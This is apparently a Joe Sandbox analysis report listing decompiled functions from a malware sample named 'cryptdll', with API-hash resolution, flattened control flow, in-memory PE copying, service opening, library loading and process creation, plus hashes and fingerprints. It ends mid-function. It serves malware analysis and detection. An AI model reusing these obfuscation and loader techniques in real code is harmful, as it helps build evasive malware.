
Function 00610D60, Relevance: 9.1, APIs: 6, Instructions: 124
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00610FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 00610F08
Part of subcall function 00610FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 00610F3E
Part of subcall function 00610FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 00610F7F

VirtualAlloc.KERNEL32(?,?,00000000,?,?), ref: 00610DB4
RtlMoveMemory.NTDLL(00000000,?,?), ref: 00610DC3

Part of subcall function 00611140: lstrcpynW.KERNEL32(00000000,00000000,00000000,00000010,00610EFD,00000000), ref: 00611155

RtlMoveMemory.NTDLL(00000000,-00000018,00000028), ref: 00610E11
VirtualAlloc.KERNEL32(?,?,00000000,?,?), ref: 00610E3D
RtlMoveMemory.NTDLL(00000000,?,?), ref: 00610E6C
RtlFillMemory.KERNEL32(00000000,?,00000000), ref: 00610E98

Memory Dump Source

Source File: 0000000E.00000002.2292138449.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_610000_cryptdll.jbxd

Similarity

API ID: Memory$Move$AllocVirtual$Filllstrcpyn
String ID:
API String ID: 3581289920-0
Opcode ID: 98a03950a6b87b5ad15d3b8fee512a0dc4eebefe5bb086351cc2e195eb997952
Instruction ID: 1567a6da01245b10c7bf68dc38875fc681ca2ea4e10dc92f8d1c9e627c85ccc9
Opcode Fuzzy Hash: 98a03950a6b87b5ad15d3b8fee512a0dc4eebefe5bb086351cc2e195eb997952
Instruction Fuzzy Hash: B631E375A043406BEB14DB21CC44AEB73EBEBC9381F084D2CF64897351DAB5D9C08766

Uniqueness

Uniqueness Score: -1.00%

Function 00623780, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 62%

			E00623780(void* __ecx, void* __edx, void* __edi, void* __esi) {
				char _v520;
				char _v528;
				char _v536;
				char _v1040;
				char _v1056;
				short _v1072;
				char* _v1076;
				char* _v1080;
				intOrPtr _v1084;
				intOrPtr* _t12;
				intOrPtr* _t14;
				intOrPtr* _t16;
				intOrPtr* _t18;
				intOrPtr* _t20;
				signed int _t26;
				void* _t36;
				void* _t63;
				void* _t66;
				void* _t69;
				void* _t70;
				void* _t71;
				void* _t72;
				struct _SHFILEOPSTRUCTW* _t73;

				_t70 =  &_v1072;
				_t12 =  *0x62ddc0;
				_t66 = __ecx;
				_t63 = __edx;
				if(_t12 == 0) {
					_t12 = E00623E60(_t36, E00623F00(0xc6fbcd74), 0x7e0ae558, _t69);
					 *0x62ddc0 = _t12;
				}
				 *_t12( &_v1072, 0, 0x1e);
				_t14 =  *0x62ddc0;
				_t71 = _t70 + 0xc;
				if(_t14 == 0) {
					_t14 = E00623E60(_t36, E00623F00(0xc6fbcd74), 0x7e0ae558, _t69);
					 *0x62ddc0 = _t14;
				}
				 *_t14( &_v1040, 0, 0x208);
				_t16 =  *0x62ddc0;
				_t72 = _t71 + 0xc;
				if(_t16 == 0) {
					_t16 = E00623E60(_t36, E00623F00(0xc6fbcd74), 0x7e0ae558, _t69);
					 *0x62ddc0 = _t16;
				}
				 *_t16( &_v520, 0, 0x208);
				_t18 =  *0x62e298;
				_t73 = _t72 + 0xc;
				if(_t18 == 0) {
					_t18 = E00623E60(_t36, E00623F00(0x9bab0b12), 0xba782e65, _t69);
					 *0x62e298 = _t18;
				}
				 *_t18( &_v1040, _t66);
				_t20 =  *0x62e298;
				if(_t20 == 0) {
					_t20 = E00623E60(_t36, E00623F00(0x9bab0b12), 0xba782e65, _t69);
					 *0x62e298 = _t20;
				}
				 *_t20( &_v528, _t63);
				_v1084 = 1;
				_v1080 =  &_v1056;
				_v1076 =  &_v536;
				_v1072 = 0xe14;
				if( *0x62e30c == 0) {
					 *0x62e30c = E00623E60(_t36, E00623F00(0xd9518805), 0x262a6194, _t69);
				}
				_t26 = SHFileOperationW(_t73); // executed
				asm("sbb eax, eax");
				return  ~_t26 + 1;
			}

0x00623785
0x00623780
0x0062378c
0x0062378f
0x00623793
0x006237a6
0x006237ab
0x006237ab
0x006237b9
0x006237bb
0x006237c0
0x006237c5
0x006237d8
0x006237dd
0x006237dd
0x006237ee
0x006237f0
0x006237f5
0x006237fa
0x0062380d
0x00623812
0x00623812
0x00623826
0x00623828
0x0062382d
0x00623832
0x00623845
0x0062384a
0x0062384a
0x00623855
0x00623857
0x0062385e
0x00623871
0x00623876
0x00623876
0x00623884
0x0062388a
0x00623892
0x0062389d
0x006238a6
0x006238b4
0x006238cc
0x006238cc
0x006238d5
0x006238d9
0x006238e2

APIs

SHFileOperationW.SHELL32 ref: 006238D5

Strings

X~, xrefs: 006237D1
X~, xrefs: 0062379F
X~, xrefs: 00623806

Memory Dump Source

Source File: 0000000E.00000002.2292162710.0000000000621000.00000020.00000001.sdmp, Offset: 00620000, based on PE: true

Associated: 0000000E.00000002.2292147578.0000000000620000.00000004.00000001.sdmp Download File
Associated: 0000000E.00000002.2292182201.000000000062D000.00000004.00000001.sdmp Download File
Associated: 0000000E.00000002.2292198739.000000000062F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_620000_cryptdll.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID: X~$X~$X~
API String ID: 3080627654-3258893172
Opcode ID: fcf7cd00859187926a0e798468e084170c7841dd9227db7da09c152fc460eb40
Instruction ID: 15326bb8a372f7d651ee823e99cf448dc4fc65047bb6954606c136fcd60af92e
Opcode Fuzzy Hash: fcf7cd00859187926a0e798468e084170c7841dd9227db7da09c152fc460eb40
Instruction Fuzzy Hash: 7231BE70700B214BD724AB79EC017AB37EBAB84704F10492DB555CB385EB38DA068F95

Uniqueness

Uniqueness Score: -1.00%

Function 00628E80, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 131
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E00628E80() {
				short* _v4;
				void* __ebx;
				void* __ecx;
				void* __ebp;
				void* _t4;
				void* _t6;
				intOrPtr* _t11;
				intOrPtr* _t15;
				intOrPtr* _t19;
				intOrPtr* _t22;
				void* _t25;
				void* _t42;
				short* _t43;
				intOrPtr _t44;
				short* _t45;
				void* _t46;
				void* _t47;

				_t25 = _v4;
				_t4 = 0x1779a150;
				_t46 = _v4;
				_t43 = _v4;
				_t42 = 0;
				goto L1;
				do {
					while(1) {
						L1:
						_t47 = _t4 - 0xebfcc22;
						if(_t47 <= 0) {
							break;
						}
						if(_t4 == 0x1779a150) {
							_t4 = 0x23287775;
							continue;
						} else {
							if(_t4 == 0x1e3d7119) {
								if( *0x62e270 == 0) {
									 *0x62e270 = E00623E60(_t25, E00623F00(0x26f5757c), 0x56e230f9, _t46);
								}
								_t6 = OpenServiceW(_t46, _t43, 0x10000); // executed
								_t25 = _t6;
								_t4 =  !=  ? 0xebfcc22 : 0xbf6010;
								continue;
							} else {
								if(_t4 != 0x23287775) {
									goto L22;
								} else {
									_t44 =  *0x62e54c; // 0x8ddff8
									_t45 = _t44 + 0x260;
									while( *_t45 != 0x5c) {
										_t45 = _t45 + 2;
									}
									_t43 = _t45 + 2;
									_t4 = 0x10ada17;
									continue;
								}
							}
						}
						L32:
					}
					if(_t47 == 0) {
						_t11 =  *0x62e4c8;
						if(_t11 == 0) {
							_t11 = E00623E60(_t25, E00623F00(0x26f5757c), 0xe9d3e51f, _t46);
							 *0x62e4c8 = _t11;
						}
						 *_t11(_t25);
						_t42 =  !=  ? 1 : _t42;
						_t4 = 0xd10de09;
						goto L1;
					} else {
						if(_t4 == 0xbf6010) {
							_t15 =  *0x62e18c;
							if(_t15 == 0) {
								_t15 = E00623E60(_t25, E00623F00(0x26f5757c), 0x268fe5f0, _t46);
								 *0x62e18c = _t15;
							}
							 *_t15(_t46);
							goto L31;
						} else {
							if(_t4 == 0x10ada17) {
								_t19 =  *0x62e310;
								if(_t19 == 0) {
									_t19 = E00623E60(_t25, E00623F00(0x26f5757c), 0x9ba7cd1, _t46);
									 *0x62e310 = _t19;
								}
								_t46 =  *_t19(0, 0, 0xf003f);
								if(_t46 == 0) {
									L31:
									return _t42;
								} else {
									_t4 = 0x1e3d7119;
									goto L1;
								}
							} else {
								if(_t4 != 0xd10de09) {
									goto L22;
								} else {
									_t22 =  *0x62e18c;
									if(_t22 == 0) {
										_t22 = E00623E60(_t25, E00623F00(0x26f5757c), 0x268fe5f0, _t46);
										 *0x62e18c = _t22;
									}
									 *_t22(_t25);
									_t4 = 0xbf6010;
									goto L1;
								}
							}
						}
					}
					goto L32;
					L22:
				} while (_t4 != 0x2dd4caa9);
				return _t42;
				goto L32;
			}

0x00628e82
0x00628e86
0x00628e8c
0x00628e91
0x00628e96
0x00628e98
0x00628ea0
0x00628ea0
0x00628ea0
0x00628ea0
0x00628ea5
0x00000000
0x00000000
0x00628f7f
0x00629011
0x00000000
0x00628f85
0x00628f8a
0x00628fd5
0x00628fed
0x00628fed
0x00628ff9
0x00628ffb
0x00629009
0x00000000
0x00628f8c
0x00628f91
0x00000000
0x00628f93
0x00628f93
0x00628f99
0x00628fa3
0x00628fa5
0x00628fa8
0x00628fae
0x00628fb1
0x00000000
0x00628fb1
0x00628f91
0x00628f8a
0x00000000
0x00628f7f
0x00628eab
0x00628f3f
0x00628f46
0x00628f59
0x00628f5e
0x00628f5e
0x00628f64
0x00628f6d
0x00628f70
0x00000000
0x00628eb1
0x00628eb6
0x0062901b
0x00629022
0x00629035
0x0062903a
0x0062903a
0x00629040
0x00000000
0x00628ebc
0x00628ec1
0x00628efc
0x00628f03
0x00628f16
0x00628f1b
0x00628f1b
0x00628f2b
0x00628f2f
0x00629042
0x00629049
0x00628f35
0x00628f35
0x00000000
0x00628f35
0x00628ec3
0x00628ec8
0x00000000
0x00628ece
0x00628ece
0x00628ed5
0x00628ee8
0x00628eed
0x00628eed
0x00628ef3
0x00628ef5
0x00000000
0x00628ef5
0x00628ec8
0x00628ec1
0x00628eb6
0x00000000
0x00628fbb
0x00628fbb
0x00628fcd
0x00000000

APIs

OpenServiceW.ADVAPI32(3251FEFE,?,00010000,?,3251FEFE,?,186D334D,008DDFF8,00628782,?,3251FEFE,?), ref: 00628FF9

Strings

uw(#, xrefs: 00628F8C
uw(#, xrefs: 00629011

Memory Dump Source

Source File: 0000000E.00000002.2292162710.0000000000621000.00000020.00000001.sdmp, Offset: 00620000, based on PE: true

Associated: 0000000E.00000002.2292147578.0000000000620000.00000004.00000001.sdmp Download File
Associated: 0000000E.00000002.2292182201.000000000062D000.00000004.00000001.sdmp Download File
Associated: 0000000E.00000002.2292198739.000000000062F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_620000_cryptdll.jbxd

Yara matches

Similarity

API ID: OpenService
String ID: uw(#$uw(#
API String ID: 3098006287-1105621689
Opcode ID: 4a186af2895525cc00e8a3a7a66c60d801a04ec65280a5838b6af51fd48bb3fb
Instruction ID: a4f3ebe0bf1903b1486b6a5c2e7076c2cedb39bc99951b22127aa1a1562b1c0b
Opcode Fuzzy Hash: 4a186af2895525cc00e8a3a7a66c60d801a04ec65280a5838b6af51fd48bb3fb
Instruction Fuzzy Hash: 3B41D421B06A358FDB20A6BCBC8077A2397A794790F110839F986CB741EF25CC454FA6

Uniqueness

Uniqueness Score: -1.00%

Function 00627120, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 107
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E00627120(void* __ebx) {
				void* _t2;
				struct HINSTANCE__* _t8;
				intOrPtr* _t9;
				intOrPtr* _t11;
				void* _t21;
				intOrPtr _t23;
				void* _t48;
				WCHAR* _t51;
				void* _t53;
				void* _t54;
				void* _t55;

				_t21 = __ebx;
				_t2 = 0x291da748;
				goto L1;
				do {
					while(1) {
						L1:
						_t54 = _t2 - 0x1a8031ec;
						if(_t54 > 0) {
							break;
						}
						if(_t54 == 0) {
							_t51 = E006234C0(0x62d830);
							__eflags =  *0x62dd1c;
							if( *0x62dd1c == 0) {
								 *0x62dd1c = E00623E60(_t21, E00623F00(0x9bab0b12), 0xe4b28d97, _t53);
							}
							_t8 = LoadLibraryW(_t51);
							_t23 =  *0x62e548; // 0x917e10
							 *(_t23 + 0x4c) = _t8;
							_t9 =  *0x62e494;
							__eflags = _t9;
							if(_t9 == 0) {
								_t9 = E00623E60(_t21, E00623F00(0x9bab0b12), 0x7facde30, _t53);
								 *0x62e494 = _t9;
							}
							_t48 =  *_t9();
							_t11 =  *0x62df30;
							__eflags = _t11;
							if(_t11 == 0) {
								_t11 = E00623E60(_t21, E00623F00(0x9bab0b12), 0x5010a54d, _t53);
								 *0x62df30 = _t11;
							}
							return  *_t11(_t48, 0, _t51);
						} else {
							_t55 = _t2 - 0x185e9846;
							if(_t55 > 0) {
								__eflags = _t2 - 0x18843476;
								if(__eflags != 0) {
									goto L21;
								} else {
									E00627080(_t21, 0x62d7a0, 4, __eflags);
									_t2 = 0x2eb73d4f;
									continue;
								}
							} else {
								if(_t55 == 0) {
									E00627080(_t21, 0x62d8f0, 2, __eflags);
									_t2 = 0x9da2520;
									continue;
								} else {
									if(_t2 == 0x9da2520) {
										E00627080(_t21, 0x62d800, 3, __eflags);
										_t2 = 0x18843476;
										continue;
									} else {
										_t57 = _t2 - 0x15a7f569;
										if(_t2 != 0x15a7f569) {
											goto L21;
										} else {
											E00627080(_t21, 0x62d860, 0, _t57);
											_t2 = 0x39797244;
											continue;
										}
									}
								}
							}
						}
						L30:
					}
					__eflags = _t2 - 0x2eb73d4f;
					if(__eflags > 0) {
						__eflags = _t2 - 0x39797244;
						if(__eflags != 0) {
							goto L21;
						} else {
							E00627080(_t21, 0x62d890, 1, __eflags);
							_t2 = 0x185e9846;
							goto L1;
						}
					} else {
						if(__eflags == 0) {
							E00627080(_t21, 0x62d7e0, 5, __eflags);
							_t2 = 0x22a44863;
							goto L1;
						} else {
							__eflags = _t2 - 0x22a44863;
							if(__eflags == 0) {
								E00627080(_t21, 0x62d8c0, 6, __eflags);
								_t2 = 0x1a8031ec;
								goto L1;
							} else {
								__eflags = _t2 - 0x291da748;
								if(__eflags != 0) {
									goto L21;
								} else {
									_t2 = 0x15a7f569;
									goto L1;
								}
							}
						}
					}
					goto L30;
					L21:
					__eflags = _t2 - 0x21acdd7e;
				} while (__eflags != 0);
				return _t2;
				goto L30;
			}

0x00627120
0x00627120
0x00627120
0x00627125
0x00627125
0x00627125
0x00627125
0x0062712a
0x00000000
0x00000000
0x00627130
0x0062723f
0x00627246
0x00627248
0x00627260
0x00627260
0x00627266
0x00627268
0x0062726e
0x00627271
0x00627276
0x00627278
0x0062728b
0x00627290
0x00627290
0x00627297
0x00627299
0x0062729e
0x006272a0
0x006272b3
0x006272b8
0x006272b8
0x006272c5
0x00627136
0x00627136
0x0062713b
0x00627190
0x00627195
0x00000000
0x0062719b
0x006271a5
0x006271aa
0x00000000
0x006271aa
0x0062713d
0x0062713d
0x00627184
0x00627189
0x00000000
0x0062713f
0x00627144
0x0062716e
0x00627173
0x00000000
0x00627146
0x00627146
0x0062714b
0x00000000
0x00627151
0x00627158
0x0062715d
0x00000000
0x0062715d
0x0062714b
0x00627144
0x0062713d
0x0062713b
0x00000000
0x00627130
0x006271b4
0x006271b9
0x00627207
0x0062720c
0x00000000
0x0062720e
0x00627218
0x0062721d
0x00000000
0x0062721d
0x006271bb
0x006271bb
0x006271f8
0x006271fd
0x00000000
0x006271bd
0x006271bd
0x006271c2
0x006271df
0x006271e4
0x00000000
0x006271c4
0x006271c4
0x006271c9
0x00000000
0x006271cb
0x006271cb
0x00000000
0x006271cb
0x006271c9
0x006271c2
0x006271bb
0x00000000
0x00627227
0x00627227
0x00627227
0x00627232
0x00000000

APIs

LoadLibraryW.KERNEL32(00000000,?,3251FEFE,006268AC), ref: 00627266

Strings

Dry9, xrefs: 0062715D
Dry9, xrefs: 00627207

Memory Dump Source

Source File: 0000000E.00000002.2292162710.0000000000621000.00000020.00000001.sdmp, Offset: 00620000, based on PE: true

Associated: 0000000E.00000002.2292147578.0000000000620000.00000004.00000001.sdmp Download File
Associated: 0000000E.00000002.2292182201.000000000062D000.00000004.00000001.sdmp Download File
Associated: 0000000E.00000002.2292198739.000000000062F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_620000_cryptdll.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: Dry9$Dry9
API String ID: 1029625771-121480178
Opcode ID: ebf775f5a5b818e5401c3d08e25a96a7552325be677a6e46776b3a6fe6c71490
Instruction ID: 5eaf06b23629aacd30c0942eb21f5316e9592b8cf80647040079c76ce587156f
Opcode Fuzzy Hash: ebf775f5a5b818e5401c3d08e25a96a7552325be677a6e46776b3a6fe6c71490
Instruction Fuzzy Hash: A931F920B0DD3083DB646A7978A5FAE14A7DFA1340F34442AF151CBB95DD2ACE124F86

Uniqueness

Uniqueness Score: -1.00%

Function 00624B70, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 87
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E00624B70(void* __ebx, WCHAR* __ecx, WCHAR* __edx, void* __ebp, int _a4, intOrPtr _a12) {
				struct _STARTUPINFOW _v72;
				struct _PROCESS_INFORMATION _v88;
				intOrPtr* _t9;
				int _t12;
				intOrPtr* _t15;
				intOrPtr* _t17;
				WCHAR* _t44;
				WCHAR* _t45;

				_t46 = __ebp;
				_t26 = __ebx;
				_t9 =  *0x62ddc0;
				_t45 = __edx;
				_t44 = __ecx;
				if(_t9 == 0) {
					_t9 = E00623E60(__ebx, E00623F00(0xc6fbcd74), 0x7e0ae558, __ebp);
					 *0x62ddc0 = _t9;
				}
				 *_t9( &_v72, 0, 0x44);
				_v72.cb = 0x44;
				if( *0x62e21c == 0) {
					 *0x62e21c = E00623E60(_t26, E00623F00(0x9bab0b12), 0xbd6cc871, _t46);
				}
				_t12 = CreateProcessW(_t44, _t45, 0, 0, _a4, 0, 0, 0,  &_v72,  &_v88); // executed
				if(_t12 == 0) {
					return 0;
				} else {
					if(_a12 == 0) {
						_t15 =  *0x62de3c;
						if(_t15 == 0) {
							_t15 = E00623E60(_t26, E00623F00(0x9bab0b12), 0x20de7595, _t46);
							 *0x62de3c = _t15;
						}
						 *_t15(_v88.hProcess);
						_t17 =  *0x62de3c;
						if(_t17 == 0) {
							_t17 = E00623E60(_t26, E00623F00(0x9bab0b12), 0x20de7595, _t46);
							 *0x62de3c = _t17;
						}
						 *_t17(_v88.hProcess);
						return 1;
					} else {
						asm("movdqu xmm0, [esp+0x8]");
						asm("movdqu [eax], xmm0");
						return 1;
					}
				}
			}

0x00624b70
0x00624b70
0x00624b70
0x00624b79
0x00624b7c
0x00624b80
0x00624b93
0x00624b98
0x00624b98
0x00624ba6
0x00624bb0
0x00624bba
0x00624bd2
0x00624bd2
0x00624bf1
0x00624bf5
0x00624c7a
0x00624bf7
0x00624bfd
0x00624c14
0x00624c1b
0x00624c2e
0x00624c33
0x00624c33
0x00624c3c
0x00624c3e
0x00624c45
0x00624c58
0x00624c5d
0x00624c5d
0x00624c66
0x00624c72
0x00624bff
0x00624bff
0x00624c05
0x00624c13
0x00624c13
0x00624bfd

APIs

CreateProcessW.KERNEL32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 00624BF1

Strings

X~, xrefs: 00624B8C
D, xrefs: 00624BB0

Memory Dump Source

Source File: 0000000E.00000002.2292162710.0000000000621000.00000020.00000001.sdmp, Offset: 00620000, based on PE: true

Associated: 0000000E.00000002.2292147578.0000000000620000.00000004.00000001.sdmp Download File
Associated: 0000000E.00000002.2292182201.000000000062D000.00000004.00000001.sdmp Download File
Associated: 0000000E.00000002.2292198739.000000000062F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_620000_cryptdll.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: D$X~
API String ID: 963392458-2090554203
Opcode ID: 50bbb215f3f2be7ed681d3ceefdde3bea4da4abdc0d77b02db15b5c6459ab60c
Instruction ID: 0f4be0d0cce82070b6c9ef3e97ea39f043dc1b5f67737360f0e02e229e0fc113
Opcode Fuzzy Hash: 50bbb215f3f2be7ed681d3ceefdde3bea4da4abdc0d77b02db15b5c6459ab60c
Instruction Fuzzy Hash: 3C218030704A225BEB24AB7EEC41BBB37A7ABD0704F10442DB694CA3A0EE75D9059F55

Uniqueness

Uniqueness Score: -1.00%

Function 006230A0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 165
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E006230A0() {
				void* __ebx;
				void* __ecx;
				void* __ebp;
				void* _t61;
				intOrPtr* _t62;
				void* _t65;
				intOrPtr _t93;
				intOrPtr* _t95;
				intOrPtr _t107;
				intOrPtr* _t116;
				void* _t127;
				void* _t128;
				intOrPtr _t129;
				signed int _t134;
				void* _t135;
				void* _t136;

				_t93 =  *((intOrPtr*)(_t135 + 0xc));
				_t61 = 0x11f367c2;
				_t134 =  *(_t135 + 0x10);
				_t129 =  *((intOrPtr*)(_t135 + 0x14));
				_t127 =  *(_t135 + 0x18);
				while(1) {
					L1:
					do {
						while(1) {
							L2:
							_t136 = _t61 - 0x12466c01;
							if(_t136 > 0) {
								break;
							}
							if(_t136 == 0) {
								if(_t93 !=  *(_t135 + 0x18)) {
									L29:
									return 1;
								} else {
									_t61 = 0x2f21cdd2;
									continue;
								}
							} else {
								if(_t61 == 0x7a26146) {
									_t61 =  ==  ? 0x2f21cdd2 : 0x12466c01;
									continue;
								} else {
									if(_t61 == 0x8928514) {
										_t95 =  *0x62e1cc;
										if(_t95 == 0) {
											_t95 = E00623E60(_t93, E00623F00(0x55ab7d30), 0x815a9da3, _t134);
											 *0x62e1cc = _t95;
										}
										_t129 =  *_t95(_t134 + 0x2c);
										_t61 = 0x39d78901;
										while(1) {
											L1:
											goto L2;
										}
									} else {
										if(_t61 != 0x11f367c2) {
											goto L18;
										} else {
											 *(_t135 + 0x18) = 0x2e7c;
											 *(_t135 + 0x18) = 0x3e0f83e1 *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) >> 7;
											 *(_t135 + 0x18) = 0x2f149903 *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) + 0xffff1475;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) * 0x15;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) >> 2;
											 *(_t135 + 0x18) = 0x22b63cbf *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) ^ 0x8ee7705c;
											 *(_t135 + 0x10) = 0xa461;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) << 0xe;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) * 8 -  *(_t135 + 0x10) << 2;
											_t61 = 0x8928514;
											 *(_t135 + 0x10) = 0x51eb851f *  *(_t135 + 0x10) >> 0x20 >> 3;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) + 0xffffb6ab;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) ^ 0x88f30986;
											while(1) {
												L1:
												goto L2;
											}
										}
									}
								}
							}
							L30:
						}
						if(_t61 == 0x2f21cdd2) {
							_t62 =  *0x62e494;
							if(_t62 == 0) {
								_t62 = E00623E60(_t93, E00623F00(0x9bab0b12), 0x7facde30, _t134);
								 *0x62e494 = _t62;
							}
							_t128 =  *_t62();
							if( *0x62dd18 == 0) {
								 *0x62dd18 = E00623E60(_t93, E00623F00(0x9bab0b12), 0x9ff0609c, _t134);
							}
							_t65 = RtlAllocateHeap(_t128, 8, 0x24c); // executed
							_t127 = _t65;
							if(_t127 == 0) {
								goto L29;
							} else {
								_t61 = 0x35eaa088;
								goto L1;
							}
						} else {
							if(_t61 == 0x35eaa088) {
								_t116 =  *0x62e43c;
								if(_t116 == 0) {
									_t116 = E00623E60(_t93, E00623F00(0x9bab0b12), 0x2df4d385, _t134);
									 *0x62e43c = _t116;
								}
								 *_t116(_t127 + 0x3c, _t134 + 0x2c, (_t129 - _t134 - 0x2c >> 1) + 1);
								_t107 =  *((intOrPtr*)(_t135 + 0x1c));
								 *(_t127 + 0x2c) =  *(_t107 + 0x1c);
								 *((intOrPtr*)(_t107 + 0xc)) =  *((intOrPtr*)(_t107 + 0xc)) + 1;
								 *(_t107 + 0x1c) = _t127;
								goto L29;
							} else {
								if(_t61 != 0x39d78901) {
									goto L18;
								} else {
									_t93 = E00623D00(_t129);
									_t61 = 0x7a26146;
									while(1) {
										L1:
										goto L2;
									}
								}
							}
						}
						goto L30;
						L18:
					} while (_t61 != 0x100ad7b4);
					return 1;
					goto L30;
				}
			}

0x006230a2
0x006230a6
0x006230ac
0x006230b1
0x006230b6
0x006230ba
0x006230ba
0x006230c0
0x006230c0
0x006230c0
0x006230c0
0x006230c5
0x00000000
0x00000000
0x006230cb
0x006231f1
0x006232f9
0x00623300
0x006231f7
0x006231f7
0x00000000
0x006231f7
0x006230d1
0x006230d6
0x006231e5
0x00000000
0x006230dc
0x006230e1
0x006231a0
0x006231a8
0x006231c0
0x006231c2
0x006231c2
0x006231ce
0x006231d0
0x006230ba
0x006230ba
0x00000000
0x006230ba
0x006230e7
0x006230ec
0x00000000
0x006230f2
0x006230f2
0x0062310d
0x00623111
0x0062311f
0x00623123
0x00623130
0x00623139
0x00623147
0x0062314b
0x00623153
0x0062315b
0x00623175
0x0062317f
0x00623187
0x0062318b
0x00623193
0x006230ba
0x006230ba
0x00000000
0x006230ba
0x006230ba
0x006230ec
0x006230e1
0x006230d6
0x00000000
0x006230cb
0x00623206
0x00623245
0x0062324c
0x0062325f
0x00623264
0x00623264
0x0062326b
0x00623274
0x0062328c
0x0062328c
0x00623299
0x0062329b
0x0062329f
0x00000000
0x006232a1
0x006232a1
0x00000000
0x006232a1
0x00623208
0x0062320d
0x006232ab
0x006232b3
0x006232cb
0x006232cd
0x006232cd
0x006232e4
0x006232e6
0x006232ed
0x006232f0
0x006232f3
0x00000000
0x00623213
0x00623218
0x00000000
0x0062321a
0x00623221
0x00623223
0x006230ba
0x006230ba
0x00000000
0x006230ba
0x006230ba
0x00623218
0x0062320d
0x00000000
0x0062322d
0x0062322d
0x00623242
0x00000000
0x00623242

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,0000024C), ref: 00623299

Strings

|., xrefs: 006230F2

Memory Dump Source

Source File: 0000000E.00000002.2292162710.0000000000621000.00000020.00000001.sdmp, Offset: 00620000, based on PE: true

Associated: 0000000E.00000002.2292147578.0000000000620000.00000004.00000001.sdmp Download File
Associated: 0000000E.00000002.2292182201.000000000062D000.00000004.00000001.sdmp Download File
Associated: 0000000E.00000002.2292198739.000000000062F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_620000_cryptdll.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: |.
API String ID: 1279760036-512043466
Opcode ID: 9de0dfccf22a524db15e6474689d4dd4a9ed9c68861150a7ee90f54374bc7d30
Instruction ID: c130db92d94f142f7b3cc3e142782cf0e6998dffd4a358ced677559419e35c24
Opcode Fuzzy Hash: 9de0dfccf22a524db15e6474689d4dd4a9ed9c68861150a7ee90f54374bc7d30
Instruction Fuzzy Hash: 0351B271708B328BC758DF6CA48456ABBE7EBD4300F20482EE451CB351DB35DA4A8F92

Uniqueness

Uniqueness Score: -1.00%

Function 006280A0, Relevance: 3.2, APIs: 2, Instructions: 219
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E006280A0(signed int __edx) {
				short _v524;
				struct _SECURITY_ATTRIBUTES* _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				char _v564;
				intOrPtr _v568;
				char _v572;
				struct _SECURITY_ATTRIBUTES* _v576;
				intOrPtr _v580;
				signed int _v584;
				signed int _v588;
				signed int _v592;
				signed int _v596;
				void* __ebx;
				void* __ebp;
				void* _t58;
				void* _t64;
				void* _t66;
				void* _t73;
				intOrPtr* _t78;
				intOrPtr* _t80;
				void* _t82;
				void* _t83;
				intOrPtr* _t86;
				void* _t88;
				intOrPtr _t89;
				intOrPtr* _t90;
				void* _t92;
				void* _t96;
				intOrPtr _t101;
				char _t105;
				signed int _t122;
				void* _t125;
				void* _t127;
				void* _t128;
				signed int* _t129;
				void* _t131;

				_t122 = __edx;
				_t129 =  &_v596;
				_v584 = 0x9318;
				_t58 = 0x343bfd89;
				_v584 = _v584 ^ 0xde90c338;
				_v584 = _v584 ^ 0xde905120;
				_v596 = 0x7d19;
				_v596 = _v596 << 9;
				_v596 = _v596 >> 0xe;
				_v596 = _v596 + 0xffff07e5;
				_v596 = _v596 | 0x8aea6eef;
				_v596 = _v596 + 0xd867;
				_v596 = _v596 + 0x9c41;
				_v596 = _v596 + 0x3de0;
				_v596 = _v596 + 0x218b;
				_v596 = _v596 ^ 0x00014403;
				_v592 = 0x2591;
				_t128 = _v584;
				_t96 = 0;
				_v592 = _v592 * 0x7d;
				_v592 = _v592 + 0x8d68;
				_v592 = _v592 + 0xffff8911;
				_v592 = _v592 * 0x6a;
